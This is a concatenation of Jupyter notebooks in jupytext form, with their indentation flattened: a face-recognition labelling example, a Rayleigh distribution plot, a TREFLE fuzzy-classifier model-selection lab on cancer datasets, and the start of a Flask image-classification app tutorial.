face_encodings = face_recognition.face_encodings(unknown_image, face_locations)
# Convert the image to a PIL-format image so that we can draw on top of it with the Pillow library
# See http://pillow.readthedocs.io/ for more about PIL/Pillow
pil_image = Image.fromarray(unknown_image)
# Create a Pillow ImageDraw Draw instance to draw with
draw = ImageDraw.Draw(pil_image)
# Loop through each face found in the unknown image
for (top, right, bottom, left), face_encoding in zip(face_locations, face_encodings):
# See if the face is a match for the known face(s)
matches = face_recognition.compare_faces(known_face_encodings, face_encoding)
name = "Unknown"
# If a match was found in known_face_encodings, just use the first one.
# if True in matches:
# first_match_index = matches.index(True)
# name = known_face_names[first_match_index]
# Or instead, use the known face with the smallest distance to the new face
face_distances = face_recognition.face_distance(known_face_encodings, face_encoding)
best_match_index = np.argmin(face_distances)
if matches[best_match_index]:
name = known_face_names[best_match_index]
# Draw a box around the face using the Pillow module
draw.rectangle(((left, top), (right, bottom)), outline=(0, 0, 255))
# Draw a label with a name below the face
text_width, text_height = draw.textsize(name)
draw.rectangle(((left, bottom - text_height - 10), (right, bottom)), fill=(0, 0, 255), outline=(0, 0, 255))
draw.text((left + 6, bottom - text_height - 5), name, fill=(255, 255, 255, 255))
# Remove the drawing library from memory as per the Pillow docs
del draw
# Display the resulting image
pil_image.show()
# You can also save a copy of the new image to disk if you want by uncommenting this line
# pil_image.save("image_with_boxes.jpg")
# -
# +
# This is an example of running face recognition on a single image
# and drawing a box around each person that was identified.
# Load a sample picture and learn how to recognize it.
obama_image = face_recognition.load_image_file("obama.jpg")
obama_face_encoding = face_recognition.face_encodings(obama_image)[0]
# Load a second sample picture and learn how to recognize it.
biden_image = face_recognition.load_image_file("biden.jpg")
biden_face_encoding = face_recognition.face_encodings(biden_image)[0]
gal_gadot_image = face_recognition.load_image_file("gal-gadot.jpg")
gal_gadot_face_encoding = face_recognition.face_encodings(gal_gadot_image)[0]
# Create arrays of known face encodings and their names
known_face_encodings = [
obama_face_encoding,
biden_face_encoding,
gal_gadot_face_encoding
]
known_face_names = [
"<NAME>",
"<NAME>",
"gal gadot"
]
# Load an image with an unknown face
unknown_image = face_recognition.load_image_file("maravilla.jpg")
# Find all the faces and face encodings in the unknown image
face_locations = face_recognition.face_locations(unknown_image)
face_encodings = face_recognition.face_encodings(unknown_image, face_locations)
# Convert the image to a PIL-format image so that we can draw on top of it with the Pillow library
# See http://pillow.readthedocs.io/ for more about PIL/Pillow
pil_image = Image.fromarray(unknown_image)
# Create a Pillow ImageDraw Draw instance to draw with
draw = ImageDraw.Draw(pil_image)
# Loop through each face found in the unknown image
for (top, right, bottom, left), face_encoding in zip(face_locations, face_encodings):
# See if the face is a match for the known face(s)
matches = face_recognition.compare_faces(known_face_encodings, face_encoding)
name = "Unknown"
# If a match was found in known_face_encodings, just use the first one.
# if True in matches:
# first_match_index = matches.index(True)
# name = known_face_names[first_match_index]
# Or instead, use the known face with the smallest distance to the new face
face_distances = face_recognition.face_distance(known_face_encodings, face_encoding)
best_match_index = np.argmin(face_distances)
if matches[best_match_index]:
name = known_face_names[best_match_index]
# Draw a box around the face using the Pillow module
draw.rectangle(((left, top), (right, bottom)), outline=(0, 0, 255))
# Draw a label with a name below the face
text_width, text_height = draw.textsize(name)
draw.rectangle(((left, bottom - text_height - 10), (right, bottom)), fill=(0, 0, 255), outline=(0, 0, 255))
draw.text((left + 6, bottom - text_height - 5), name, fill=(255, 255, 255, 255))
# Remove the drawing library from memory as per the Pillow docs
del draw
# Display the resulting image
pil_image.show()
# You can also save a copy of the new image to disk if you want by uncommenting this line
# pil_image.save("image_with_boxes.jpg")
# -
| codigo1/FaceDetection.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Estatística - Distribuição de Rayleigh
# * Calculando uma distribuição de Rayleigh do zero
# * @CursoDS_ProfDanilo
# * Prof. Dr. <NAME>
# * <EMAIL>
import numpy as np
import matplotlib.pyplot as plt
import seaborn as sns
import math
X = np.linspace(0,10,101)
sigma = [0.5,1.0,1.5,2.0,2.5,3.0]
colors = ['black','red','blue','green','orange','cyan']
# +
fs = []
for i in range(len(sigma)):
f = (X/(sigma[i]**2.0))*np.exp(-1.0*(X**2.0)/(2.0*sigma[i]**2))
fs.append(f)
# +
for i in range(len(sigma)):
plt.plot(X,fs[i],color=colors[i],label=r'$\sigma$='+str(sigma[i]))
plt.xlabel('X')
plt.ylabel(r'f(X,$\sigma$)')
plt.legend()
plt.tight_layout()
# -
# Gerando números aleatórios
sigma = 0.5
s = np.random.rayleigh(scale=sigma,size=1000)
bins=10
plt.hist(s, bins, density=True)
bin = np.linspace(0,2,201)
y = (bin/(sigma**2.0))*np.exp(-1.0*(bin**2.0)/(2.0*sigma**2))
plt.plot(bin,y,color='red')
plt.tight_layout()
| Data_Science/Estatistica/Distribuicao_Rayleigh.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Lab 02 - Model selection - Exploration of TREFLE
# Lab developed by: <NAME> - 03.2019<br>
# Trefle algorithm: <NAME>. (Based on the PhD thesis of <NAME> https://infoscience.epfl.ch/record/33110)
# # Instructions
# <br>
# In this notebook, we use three datasets: Cancer, Breast Cancer Wisconsin (Diagnostic) BCWD, and GOLUB.
# ### TODO in this notebook
# You should provide your answers to the questions of this notebook in a report (Note that a short and concise report with the essential information is **much** better than a long one that tells nothing...). Just indicate clearly the number of the question and give the respective answer. If you need plots to confirm your observations, include them also. At the end, send the notebook<b>-s</b> in annex to your report.
# <br>
# Sometimes you will need to select (decide on) some values as a way to perform filters that reduce the number of models (and save the bests).
# <br>
# At every question you will see which parts that question applies to: <b>0 for Cancer, 1 for BCWD, or 2 for GOLUB </b>. You need to answer the questions according to the relevant dataset (see more instructions below).
# <br>
# To perform this lab you need to create three copies of the notebook (one for each dataset) and put your results in different paths and files (you will see along the lab).
# <br>
# <b>Some experiences take time (up to several hours), consider that in order to don't do your lab at the last minute (all the experiments are potentially different as TREFLE isn't a deterministic algorithm).
#
# ### How to submit your lab
# Export all the notebooks in HTML format (in the case your lab could not be reproduced for any reason) + zip your whole lab folder without the datasets. If your lab requires additional dependencies, please add a INSTRUCTIONS.md file in your folder with the instructions to install them. Don't forget to add the additional dependencies at the end of your requirements.txt file (or do a pip freeze > requirements_personal.txt command).
# <br>
# You must write a short report (as mentioned above) with three sections (one for each dataset) and respond to all the questions in each section. Include the report (<b>PDF and only PDF</b>) on the zip. The organization of the report must follow the structure below:
# <ul>
# <li>Dataset Cancer</li>
# <ul>
# <li>Question 1 </li>
# <li>Question ... </li>
# </ul>
# <li>Dataset BCWD</li>
# <ul>
# <li>Question 1 </li>
# <li>Question ... </li>
# </ul>
# <li>Dataset GOLUB</li>
# <ul>
# <li>Question 1 </li>
# <li>Question ... </li>
# </ul>
# </ul>
# +
# #!conda install python=3.6 --yes
# #!pip install -r requirements.txt
# -
# ## Set up the libraries
# +
import matplotlib.pyplot as plt
import pandas as pd
import json
import numpy as np
import random
import math
from pprint import pprint
from collections import Counter
from matplotlib.ticker import MaxNLocator
from itertools import tee
from matplotlib import cm
from matplotlib.ticker import LinearLocator, FormatStrFormatter
from mpl_toolkits.mplot3d import Axes3D
from sklearn.datasets import load_breast_cancer
from sklearn.metrics import accuracy_score
from sklearn.metrics import confusion_matrix
from sklearn.metrics import mean_squared_error
from sklearn.model_selection import train_test_split
from sklearn.model_selection import KFold
from trefle.fitness_functions.output_thresholder import round_to_cls
from trefle.trefle_classifier import TrefleClassifier
from trefle_engine import TrefleFIS
#Personal libraries
import libraries.measures_calculation
import libraries.trefle_project
import libraries.interpretability_methods
import libraries.interpretability_plots
import libraries.results_plot
from libraries.model_var import ModelVar
from libraries.model_train_cv import *
# -
# ## Split the dataset
# <br>
# The first step of the ML process is to split our dataset into training and test parts (subsets). <br>
# <ul>
# <li>You need to indicate the path of your original dataset</li>
# <li>You need to indicate the path where you want to save the training part</li>
# <li>You need to indicate the path where you want to save the test part</li>
# </ul>
# <br>When a plot is "open" you need to "shut it down" in oder to plot the others (button on the upper corner right)
# +
# 0 Cancer
#Read Dataset
#Indicate the path of the original DS HERE:
#--------------------
csv_path_file_name = './Datasets/Cancer/CancerDiag2_headers.csv'
#--------------------
data_load = pd.read_csv(csv_path_file_name, sep = ';')
#Before continue, please remove the variables that you don't want to use along this lab.
#Use to drop columns
#data_load.drop(['p1', 'p13'], axis=1)
X = data_load.iloc[:, 1:-1]
y = data_load.iloc[:,-1]
#Split it into train test DS
X_train, X_test, y_train, y_test = train_test_split(X.values, y.values, stratify=y, random_state=42, test_size=0.33)
plt.hist(y_train, bins='auto', label='Train')
plt.hist(y_test, bins='auto', label='Test')
plt.title("Train test Split")
plt.xlabel('Classes')
plt.ylabel('Quantity')
plt.legend()
plt.show()
#Save separetly in training and test
#It is important to save the training and test sets (we will use the test in the second part)
y_train_modify = np.reshape(y_train, (-1, 1))
train_dataset = np.append(X_train, y_train_modify, axis=1)
y_test_modify = np.reshape(y_test, (-1, 1))
test_dataset = np.append(X_test, y_test_modify, axis=1)
#This indicates to numpy how to format the output (you can create a function for a larger number of variables...)
format_values = ' %1.3f %1.3f %1.3f %1.3f %1.3f %1.3f %1.3f %1.3f %1.3f %1.3f %1.3f %1.3f %1.3f %1.3f %1.3f %i'
#Indicate the path where you want to save the training and test part DS HERE:
#--------------------
path_train_csv = './Datasets/Cancer/CancerDiag2_headers_train.csv'
path_test_csv = './Datasets/Cancer/CancerDiag2_headers_test.csv'
#--------------------
np.savetxt(path_train_csv, train_dataset, delimiter=",", fmt =format_values)
np.savetxt(path_test_csv, test_dataset, delimiter=",", fmt = format_values)
# -
print(data_load.shape)
print(X.shape)
print(y.shape)
# <b style="background-color:red;color:white">Question 1 (part 0, 1, and 2)</b>: Comment the plot above (include it into your report)
# # Trefle Classifier
# <br> In the code below you have a description of the (fuzzy logic-based) classifier that we use along this labo, the theory is provided in the slides of the cours. <br>
# Don't forget to change, if necessary, the number of generations (iterations) of your algorithm.
#Initialize our classsifier TREFLE
clf = TrefleClassifier(
n_rules=4,
n_classes_per_cons=[2], # there is only 1 consequent with 2 classes
n_labels_per_mf=3, # use 3 labels LOW, MEDIUM, HIGH
default_cons=[0], # default rule yield the class 0
n_max_vars_per_rule=4, # WBCD dataset has 30 variables, here we force
# to use a maximum of 3 variables per rule
# to have a better interpretability
# In total we can have up to 3*4=12 different variables
# for a fuzzy system
n_generations=100,
verbose=False,
)
# ## Training and predicting with Trefle
# <br> Below you have just a simple example of how to:<br>
# <ul>
# <li>train a model and make a prediction with it</li>
# <li>save the model in a file</li>
# </ul>
# +
#Make a train
y_sklearn = np.reshape(y_train, (-1, 1))
clf.fit(X_train, y_sklearn)
# Make predictions
y_pred = clf.predict_classes(X_test)
clf.print_best_fuzzy_system()
# Evaluate accuracy
score = accuracy_score(y_test, y_pred)
print("Score on test set: {:.3f}".format(score))
tff = clf.get_best_fuzzy_system_as_tff()
# Export: save the fuzzy model to disk
with open("fuzzy_models/cancer_trefle_fuzzy_model.tff", mode="w") as f:
f.write(tff)
# -
# # Launch the Trefle experiments (or modeling runs)
# In this labo we perform a k-fold cross-validation, so you must indicate how many folds do you want (by default 10). We could perform an exhaustive parameter search, but for this labo we will only search for parameters related with the size (complexity) of the model: i.e., number of rules and variables per rule.
# You must indicate where do you want to save all the models obtained. <br>
#
# **Important:** You must choose and justify the range of values you will explore for:
# <ul>
# <li>the number of rules</li>
# <li>the maximum number of variables per rule </li>
# <ul>
# The code must be adapted according to your choice.
# ### Fitness function
# The fitness function (or performance function) allows you to choose which performance metrics you want to improve (maximise), in our case the sensitivity and specificity (You can see the slides for more details).
# <br>
# IMPORTANT: analyze the comments in the code, perform the modifications that are necessary.
# +
# %load_ext autoreload
# %autoreload
##############fitness function (No change required)
def fit (y_true, y_pred):
y_pred_bin = round_to_cls(y_pred, n_classes=2)
tn, fp, fn, tp = libraries.trefle_project.getConfusionMatrixValues(y_true, y_pred_bin)
sensitivity = libraries.measures_calculation.calculateSensitivity(tn, fp, fn, tp)
specificity = libraries.measures_calculation.calculateSpecificity(tn, fp, fn, tp)
rmse = mean_squared_error(y_true, y_pred)
score = 0.2 * math.pow(2, -rmse) + 0.4*sensitivity + 0.4 * specificity
return score
clf.fitness_function=fit
###############
#Perform Cross-validation
k_fold_number = 2
cv_kf = KFold(n_splits=k_fold_number, random_state=42, shuffle=True)
array_index_train_test = cv_kf.split(X_train)
array_index_train_test, array_index_train_test_copy = tee(array_index_train_test)
###############
#--------------------
#Path where you want to save your models (you need to create the directory before starting the algorithm)
path_save_results_directory = 'results_models_lab_2_p0/'
#file name that will contain the results for each model created (for each fold)
file_results_dv = 'values_lab0_p0.csv'
#Name of the experience, this name will appear on the models files
experience_value_name = 'exps_lab0_p0'
#--------------------
model_train_obj = ModelTrain(array_index_train_test = array_index_train_test,
X_train = X_train,
y_train = y_train,
number_rule = 0, var_per_rule = 0,
classifier_trefle = clf,
path_save_results = path_save_results_directory,
path_save_results_values=file_results_dv,
experience_name = experience_value_name)
#Here we can choose the values/ranges for the number of rules and maximum variables per rule
#that we want to test along our experience
#('here you must change values and explain your choice, in the report')
rules_number_vec = [3, 4]
var_per_rule_vec = [4, 6]
for variation_a in rules_number_vec:
for variation_b in var_per_rule_vec:
model_train_obj.number_rule = variation_a
model_train_obj.var_per_rule = variation_b
model_train_obj.execute_cv()
# -
# <b style="background-color:red;color:white">Question 2 (part 0)</b>: Explain what role play, in the specific model, the number of rules and the number of variables per rule
# <br>
# <b style="background-color:red;color:white">Question 3 (part 0)</b>: If one uses 5 rules with 6 variables per rule in a dataset with 100 features, how many features can be used at maximum?
# <br>
# <b style="background-color:red;color:white">Question 4 (parts 0, 1, and 2)</b>: Explain your choice of the number of rules and variables per rule
# ## List result files
# When all the modeling experiments are performed, we calculate the average of the scores for each configuration according to the number of folds for several metrics/measurements (accuracy, f1-score, sensitivity, and specificity).
# <br>Don't forget to change the file where you have the results for the models (you changed previously "file_results_dv")
# <br>For curiousity sake, you may implement other metrics in the "measures_calculation" class
# +
# %load_ext autoreload
# %autoreload
#play with the results of the differents executions
data = pd.read_csv("values_lab0_p0.csv")
param_a_designation = 'nb of rules'
param_b_designation = 'nb of var per rule'
vec_measures = ['acc', 'f1', 'sen', 'spe']
test_data = data.iloc[:,0:2]
data_frame_treated = libraries.trefle_project.treatmentResultsValues(data, param_a_designation, param_b_designation, vec_measures)
data_frame_treated.columns = ['N rule', 'N var per rule', 'acc', 'f1', 'sen', 'spe']
display(data_frame_treated)
# -
# ## Visualize with 3D graphs
# Below you can visualize the performance of your models according to the explored paramaters: number of rules and variables per rule. You may change the code so as to make plots for different metrics (Acc, F1, Sen and Spe). As mentioned, you may also add new metrics by creating the method in the 'measures_calculation' class.
# +
#plot 3D
# %matplotlib notebook
X = data_frame_treated['N rule']
Y = data_frame_treated['N var per rule']
Z = data_frame_treated['acc']
y_axis_values = range(math.floor(min(Y)), math.ceil(max(Y))+1)
x_axis_values = range(math.floor(min(X)), math.ceil(max(X))+1)
fig = plt.figure()
ax = Axes3D(fig)
surf = ax.plot_trisurf(X, Y, Z, cmap=cm.YlGnBu, linewidth=0, antialiased=False)
#ax.set_zlim(-1.01, 1.01)
ax.set_xticks(x_axis_values, minor=False)
ax.set_yticks(y_axis_values, minor=False)
ax.set_xlabel('$Number of rules$')
ax.set_ylabel('$Number of var per rule$')
ax.zaxis.set_major_locator(LinearLocator(10))
ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))
fig.colorbar(surf, shrink=0.5, aspect=5)
plt.title('Original Code')
plt.show()
# -
# <b style="background-color:red;color:white">Question 5 (parts 0,1, and 2)</b> In your opinion, which values/ranges of both parameters: number of rules and vars per rule, should you choose to obtain the bests models? (comment briefly on the plot and include it into to report)
#
# # Refine the parameter search
# Now that we observed the plot we can refine the search for parameter values. As for the previous experiment it is necessary to:
# <ul>
# <li>define new values/ranges for the number of rules </li>
# <li>define new values/ranges number of variable per rule </li>
# <li>change the path name where you want to save the new models </li>
# <li>change the name of the file that will contain the number of experiments</li>
#
# </ul>
# +
#Here we can choose wich values for the number of rules and maximum variable per
#rule we want to test along our experience
#('here you need to change and explain your choice, on the repport')
#--------------------
rules_number_vec = [4,5]
var_per_rule_vec = [4,5]
#--------------------
#Change the path directory where you want to save the new results
#--------------------
model_train_obj.path_save_results = 'results_models_lab_2_p0_tuning/'
model_train_obj.path_save_results_values='values_lab0_p0_tuning.csv'
#--------------------
#--------------------
model_train_obj = ModelTrain(array_index_train_test = array_index_train_test_copy,
X_train = X_train,
y_train = y_train,
number_rule = 0, var_per_rule = 0,
classifier_trefle = clf,
path_save_results = 'results_models_lab_2_p0_tuning/',
path_save_results_values='values_lab0_p0_tuning.csv',
experience_name = 'second_exp')
#--------------------
for variation_a in rules_number_vec:
for variation_b in var_per_rule_vec:
model_train_obj.number_rule = variation_a
model_train_obj.var_per_rule = variation_b
model_train_obj.execute_cv()
# -
# <b style="background-color:red;color:white">Question 6 (part 0, 1, and 2)</b>: Explain your choice for the refined search of number of rules and variables per rule
# +
#read all csv
#--------------------
dataframe_results = pd.read_csv('values__lab0_p0.csv')
dataframe_results_b = pd.read_csv('values_lab0_p0_tuning.csv')
#--------------------
dataframe_results_c = dataframe_results_b.append(dataframe_results)
#dataframe_results_c = pd.read_csv('values_w.csv')
dataframe_results_c.columns = ['N rule', 'N var per rule','CV number', 'tn', 'fp', 'fn', 'tp', 'file_name']
dataframe_results_c.reset_index(drop=True)
# -
# # Model selection
# Once we have tested all the configurations, we have obtained a (large) number of models exhibiting diverse performance metrics. The goal being to select the best models, a first selection is performed by applying a filter based on the diagnostic performance, thus reducing the number of models. Below you can see a scatter plot of all the models you obtained according to their sensitivity and specificity (as obtained on the validation subsets).
# %reload_ext autoreload
# +
# %load_ext autoreload
# %autoreload
#Plot all values
#don't forget to turn off the others plots
vec_values_sen_spe_models = libraries.interpretability_methods.getSenSpeValuesByScores(dataframe_results_c)
#vec_values_sen_spe_models = libraries.interpretability_methods.getSenSpeValuesByScores(data_frame_treated)
plt.scatter(vec_values_sen_spe_models['Sensitivity'],vec_values_sen_spe_models['Specificity'],s=10, marker='o')
plt.title('Threshold sen/spe')
plt.xlabel('Sensitivity')
plt.ylabel('Specificity')
plt.savefig('ScatterPlot.png')
plt.xlim(0,1)
plt.ylim(0,1)
plt.show()
print('In total you have {0} models'.format(len(vec_values_sen_spe_models)))
# -
# ## First selection filter: based on sen/spe
# Having analysed the above performance overview of your models, you can apply a filter based on sensitivity and specificity. In this way, only those models exhibiting better performance than some specified threshold will be selected for the next step.
# The plot below shows the effect of the combined thresholds on the number of models remaining after the filter is applied.
# +
#that save x models
# %matplotlib notebook
results_qty_models = libraries.interpretability_methods.plotSenSpeQtyModelsByThreshold(vec_values_sen_spe_models)
X = results_qty_models['sensitivity']
Y = results_qty_models['specificity']
Z = results_qty_models['qty_models']
max_quantity = results_qty_models.loc[results_qty_models['qty_models'].idxmax()]
max_quantity = int(max_quantity['qty_models'])
fig = plt.figure()
ax = Axes3D(fig)
surf = ax.plot_trisurf(X, Y, Z.values, cmap=cm.YlGnBu, linewidth=0, antialiased=False)
ax.set_zticks(Z)
ax.set_xlabel('$Sensitivity$')
ax.set_ylabel('$Specificity$')
ax.zaxis.set_major_locator(LinearLocator(10))
ax.zaxis.set_major_formatter(FormatStrFormatter('%.0f'))
fig.colorbar(surf, shrink=0.5, aspect=5)
plt.title('Sen/Spe threshold')
plt.show()
# -
# On the base of this plot, you should decide on threshold values for both, specificity and sensitivity and apply them. The resulting subset of selected models is shown in the scatterplot below.
# +
# %load_ext autoreload
# %autoreload
#Put a limit in sen/spe
#Here you put the threshold for the sensitivity and specificity
#Don't forget to shave the plot and comment into your repport
#--------------------
value_sensitivity = 0.6
value_specificity = 0.6
#--------------------
#We apply them
vec_values_sen_spe_models_filtered = libraries.interpretability_methods.filterDataframeBySenSpeLimit(value_sensitivity, value_specificity, vec_values_sen_spe_models)
vec_values_sen_spe_models_filtered_invert = libraries.interpretability_methods.filterDataframeBySenSpeLimitContrary(value_sensitivity, value_specificity, vec_values_sen_spe_models)
figure = libraries.interpretability_plots.plotDataFrameValuesFiltered(value_sensitivity, value_specificity,vec_values_sen_spe_models_filtered, vec_values_sen_spe_models_filtered_invert)
print('In total you have {0} models'.format(len(vec_values_sen_spe_models_filtered)))
# -
# <b style="background-color:red;color:white">Question 7 (part 0, 1, and 2)</b>: Explain your choice of the threshold values for the sensitivity and specificity. (Save both plots into your repports)
# ## Second selection: frequency-based filter
# Next, a second model-selection filter is applied based on the "importance" of the features. Such feature importance is represented in this context by their relative presence (i.e. their frequency) among the models.
#
# #### Frequency of the variables
# The figure below shows the frequency of the variables among all the remaining models.
# +
#Don't forget to change the names of the files...
dataframe_first = pd.read_csv("values__lab0_p0.csv")
dataframe_weight = pd.read_csv("values_lab0_p0_tuning.csv")
frames = [dataframe_first, dataframe_weight]
result = pd.concat(frames)
result = vec_values_sen_spe_models_filtered
# -
# <font color="red">Don't forget to put all your models in a single path... </font>
# +
# %load_ext autoreload
# %autoreload
list_models_path_complete = []
for index, row in vec_values_sen_spe_models_filtered.iterrows():
model_path_complete = "results_models_lab_2_p0_all/" + str(row['file_name'])
list_models_path_complete.append(model_path_complete)
#Perform the counting
list_models_vars = libraries.interpretability_methods.transformModelsToModelVarObj(list_models_path_complete)
# +
#plot histogram before cut
dict_values_resultant = libraries.interpretability_methods.countVarFreq(list_models_vars)
#indication of the number of models and variables
qty_models = len(list_models_vars)
qty_variables = len(dict_values_resultant)
print("You have {0} models and {1} variables".format(qty_models, qty_variables))
#Plot the new histogram
libraries.interpretability_plots.plotHistogramFreqVar(dict_values_resultant)
# -
# #### Choosing a frequency threshold
# Filtering features by frequency will result in a reduction of both the number of features and the number of models, as models with eliminated variables are also eliminated.
#
# The plot below represents the number of models and variables that should remain after the filter is applied in function of the frequency threshold. It helps you to decide on which threshold to use for the filter.
#
# (Note that the frequency of a feature is calculated as the number of <b>different models</b> where it appears irrespective of the number of rules containing it.)
# +
dict_values = libraries.interpretability_methods.countVarFreq(list_models_vars)
matrix_results = libraries.interpretability_methods.createPlotQtyVarPerModelByMinimumFreq(dict_values,list_models_vars)
display(matrix_results)
libraries.interpretability_plots.plotFreqVarPerFreqMinimum(matrix_results)
# -
# based on the plot above, select the minimum frequency (threshold) for the variables on your models.
# <b style="background-color:red;color:white">Question 8 (part 0, 1, and 2)</b>: Explain your choice of the threshold. (Save both plots into your report)
# You need to indicate the name of the file where you want to save the models
# +
#set the frequency value
#Create a copy of the list that contains the model_var objects
list_models_vars_cpopy = list_models_vars.copy()
#select the minimum frequency
#--------------------
nb_min_var = 3
#--------------------
#Perform the frequency
list_model_var_resultant = libraries.interpretability_methods.reduceQtyVars(nb_min_var, dict_values,list_models_vars_cpopy)
dict_values_resultant = libraries.interpretability_methods.countVarFreq(list_model_var_resultant)
#indication of the number of models and variables
qty_models = len(list_model_var_resultant)
qty_variables = len(dict_values_resultant)
print("You have now {0} models and {1} variables".format(qty_models, qty_variables))
#Plot the new histogram
libraries.interpretability_plots.plotHistogramFreqVar(dict_values_resultant)
#Show the frequency table
dict_Values_ordered = libraries.interpretability_methods.sort_reverse_dictionary_by_values(dict_values_resultant)
datafram_var_freq = pd.DataFrame(list(dict_Values_ordered.items()),columns=['Variable name','Frequence'])
display(datafram_var_freq)
#Perform the list of the models
#--------------------
file_name = 'models_selected.csv'
#--------------------
list_models_names=[model_var.model_path for model_var in list_model_var_resultant]
dataframe_names_files = pd.DataFrame(list_models_names)
dataframe_names_files.to_csv(file_name, sep=',', encoding='utf-8')
# -
# # Analysis of the selected models
# Now that you have selected the best models, they are saved on the file "models_selected.CSV" (Or other file if you change the name...)
# You may then load these models and use them to compute their predictions for the observations in the test set.
# +
# %load_ext autoreload
# %autoreload
# Import from file
#--------------------
fis = TrefleFIS.from_tff_file("results_models_lab_2_p0_all/second_exp_conf_A_CV_0_rule_4_var_per_rule_4.ftt")
#--------------------
# In the future, it could possible to call clf.predict_classes() directly
# see issue #1
y_pred_test = fis.predict(X_test)
results_list_predictions = np.squeeze(np.asarray(y_pred_test))
#libraries.results_plot.plotCMByTreflePredictions(y_test, results_list_predictions)
#Convert your results into binary values
results = []
for element in y_pred_test:
if element > 0.5:
results.append(1)
else:
results.append(0)
from libraries.ConfusionMatrix import ConfusionMatrix
cm = confusion_matrix(y_test, results)
n_classes = len(np.unique(y))
ConfusionMatrix.plot(cm, classes=range(n_classes), title="Confusion Matrix")
# -
# The code above is only an example of how to load models and test their performance in the test set. (Remember that the test set is the one who has not been used during the previous training/selectionn steps.)
# <b><span style="background-color:red;color:white">Question 9 (parts 1 and 2)</span></b>: Among the final models, select three of them as follows: the smallest one (in terms of rules and variables), the best one (in terms of perfromance), and one in the "middle" that you consider as being a good trade off between size and performance. With them:
# <ul>
# <li>Apply them to the test set and analyze the rfesults you obtained</li>
# <li>Analyze them in terms of size, rules, vars per rules and other characteristics that you think are relevant</li>
# <li>As far as possible, analyze their rules and try to "explain" their predictions.
# </ul>
# <br>
# <b><span style="background-color:red;color:white">Question 10 (parts 1 and 2)</span></b>: Compare the features (variables) that were selected by Trefle (This algorithm, you know?) with those obtained in your previous laboratory on feature selection. Conclude.
# <br>
| lab4/model_selection_MLBD-CANCER-old.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Building a web app
# <html><div style="background-color:#ffeeee; border-radius: 8px; border: solid 1px #aa8888; padding: 0.5em 1em 1em 1em;">
#
# <h3>NOTE</h3>
#
# <p>Much of the code in this notebook doesn't work in a Notebook. It needs to reside in a `flask` application. Usually this means putting it in a file called `app.py`, which can be run by typing `flask run` on the command line in the same directory.</p>
#
# </div></html>
# ## 0. Minimal
#
# This is the smallest possible flask application. It serves a single string on the root path.
# +
from flask import Flask
app = Flask(__name__)
@app.route('/')
def root():
"""
Simplest possible. Return a string.
"""
return "Hello world!"
# -
# ❗ **IMPORTANT**
#
# To run, we must put ourselves in `development` mode:
#
# export FLASK_ENV=development
# flask run
#
# Or, in Windows CMD:
#
# set FLASK_ENV=development
# flask run
# ## 1. Getting an arg
#
# We have access to an object called `request`, which contains the data passed to the server when the request was made. For example, the headers passed by the browser (try printing `request.headers`), and query parameters (if any).
# +
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def root():
"""
Get one argument as a string.
"""
name = request.args.get('name', 'world')
return "Hello {}!".format(name)
# -
# ## 2. Calculator
@app.route('/')
def root():
"""
(2) A simple calculator with GET requests.
"""
vp = float(request.args.get('vp') or 0)
rho = float(request.args.get('rho') or 0)
return "Impedance: {}".format(vp * rho)
# <html><div style="background-color:#eeffee; border-radius: 8px; border: solid 1px #88aa88; padding: 0.5em 1em 1em 1em;">
#
# <h3>EXERCISE</h3>
#
# <p>Add another endpoint to the site to compute <a href="https://www.subsurfwiki.org/wiki/Gardner%27s_equation">Gardner's equation</a>, $\rho = 310 V_\mathrm{P}^{0.25}$ (or your favourite equation!).
#
# You will need to add a function to handle GET requests on a new path.</p>
#
# </div></html>
# ### Path parameters
#
# As well as passing a query string like `?vp=2400&rho=2500`, which turns into a dictionary `{'vp': '2400', 'rho': '2500'}` (called `request.args`), we can also pass variables in the path itself.
#
# This is good for querying databases: path parameters represent entities (tables in your DB, more or less).
#
# Here's an example:
@app.route('/hello/<name>')
def hello(name):
return "Hello {}".format(name)
# Here's [one explanation](https://stackoverflow.com/a/31261026/3381305) of why you might do this:
#
# > Best practice for RESTful API design is that path params are used to identify a specific resource or resources, while query parameters are used to sort/filter those resources.
#
# > Here's an example. Suppose you are implementing RESTful API endpoints for an entity called Car. You would structure your endpoints like this:
#
# > GET /cars
# > GET /cars/:id
# > POST /cars
# > PUT /cars/:id
# > DELETE /cars/:id
#
# > This way you are only using path parameters when you are specifying which resource to fetch, but this does not sort/filter the resources in any way.
# ## 3. Classify image via URL given as query
#
# To do this, we need some new functions:
#
# - one to process the image as in training.
# - one to fetch an image from a URL.
# - one to make a prediction from an image.
#
# First, here's the image processing function:
def img_to_arr(img):
"""
Apply the same processing we used in training: greyscale and resize.
"""
img = img.convert(mode='L').resize((32, 32))
return np.asarray(img).ravel() / 255
# Here's the `fetch_image()` and `predict_from_image()` functions:
# +
def fetch_image(url):
"""
Download an image from the web and pass to the image processing function.
"""
r = requests.get(url)
f = BytesIO(r.content)
return Image.open(f)
def predict_from_image(clf, img):
"""
Classify an image.
"""
arr = img_to_arr(img)
X = np.atleast_2d(arr)
probs = clf.predict_proba(X)
result = {
'class': clf.classes_[np.argmax(probs)],
'prob': probs.max(),
'classes': clf.classes_.tolist(),
'probs': np.squeeze(probs).tolist(), # Must be serializable.
}
return result
# -
# Now we can write the prediction function for the app:
# +
import joblib
from flask import Flask, request, jsonify
app = Flask(__name__)
CLF = joblib.load('../app/data/rf.gz')
@app.route('/predict')
def predict():
"""
(3) Make a prediction from a URL given via GET request.
Using a URL means we can still just accept a string as an arg.
There's still no human interface.
"""
url = request.args.get('url')
img = utils.fetch_image(url)
result = utils.predict_from_image(CLF, img)
# Deal with not getting a URL.
# if url:
# img = utils.fetch_image(url)
# result = utils.predict_from_image(CLF, img)
# else:
# result = 'Please provide a URL'
return jsonify(result)
# -
# ## 4. Provide URL via a GET form
# First we'll just show a 'Hello world' page. The `simple_page.html` file can contain any HTML:
# +
from flask import render_template
@app.route('/simple')
def simple():
